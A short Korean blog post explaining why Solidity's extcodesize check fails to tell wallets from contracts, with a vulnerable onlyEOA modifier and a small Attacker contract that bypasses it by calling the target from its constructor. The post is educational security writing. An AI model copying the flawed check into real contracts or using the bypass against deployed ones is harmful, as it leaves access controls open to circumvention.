Bypass extcodesize in solidity

조영국·2024년 11월 4일

solidity

목록 보기
1/1
post-thumbnail

extcodesize

extcodesize 함수는 솔리디티에서 호출이 외부 소유 계정(EOA)에서 이루어졌는지 혹은 컨트랙트에서 이루어졌는지를 확인하는 데 자주 사용하는 함수이다

사용 예시로는 다음과 같이 쓸 수 있다.

pragma solidity ^0.8.13;

contract Example {
    modifier onlyEOA(address _address) {
        uint size;
        assembly {
            size := extcodesize(_address)
        }
        require(size == 0);
        _;
    }
}

해당 함수의 아이디어는 간단하다. 주소에 저장된 코드의 크기를 확인하여 주소의 코드 크기가 0보다 크다면 해당 주소는 스마트 컨트랙트인 것이다.

extcodesize의 취약점

스마트 컨트랙트가 생성되는 동안에는 해당 주소에 코드가 저장되지 않기 때문에 extcodesize가 0을 반환한다. 따라서 생성자에서 호출하는 모든 함수는 대상 컨트랙트의 extcodesize 검사를 우회할 수 있게 된다.

아래는 extcodesize를 우회하는 공격 코드 예시이다.

pragma solidity ^0.8.13;

contract Example {
    bool public isSolved = false;
    
    modifier onlyEOA(address _address) {
        uint size;
        assembly {
            size := extcodesize(_address)
        }
        require(size == 0);
        _;
    }

    function solve() public onlyEOA(msg.sender) {
        isSolved = true;
    }
}

contract Attacker {
    constructor() {
        Example target = Example("<target address>");
        target.solve();
    }
}

해당 Attacker 컨트랙트가 배포될 때 생성자에서 solve 함수를 호출했을 때의 extcodesize는 0이다. 그러므로 해당 modifier를 통과해 isSolved의 값을 true로 변경할 수 있게 된다.

안전하게 EOA와 CA를 구분하는 방법

앞서 설명했던 취약점으로 인해 당연하게도 모두들 extcodesize를 사용하지 말라고 권장하고 있다. 그렇다면 extcodesize를 사용하지 않고 안전하게 이를 구분할 수 있는 방법은 무엇이 있을까?

추천하는 방법 중 하나는 Openzeppelin의 라이브러리에서 isContract() 함수를 사용하는 것이지만, 이 또한 안전하지 않을 수 있다고 하며 언제 이에 대한 해결책이 나올지는 알 수 없을 것 같다고 한다.

다른 좋은 방법이나 이미 새롭게 제시된 해결책이 있다면 댓글로 알려주시면 감사하겠습니다!

References

EXTCODESIZE Checks

Bypass Solidity Contract Size Check

Don’t Use Openzeppelin’s Address.isContract() to Check Caller’s Address

Why using OpenZeppelin's isContract() may be unsafe

0개의 댓글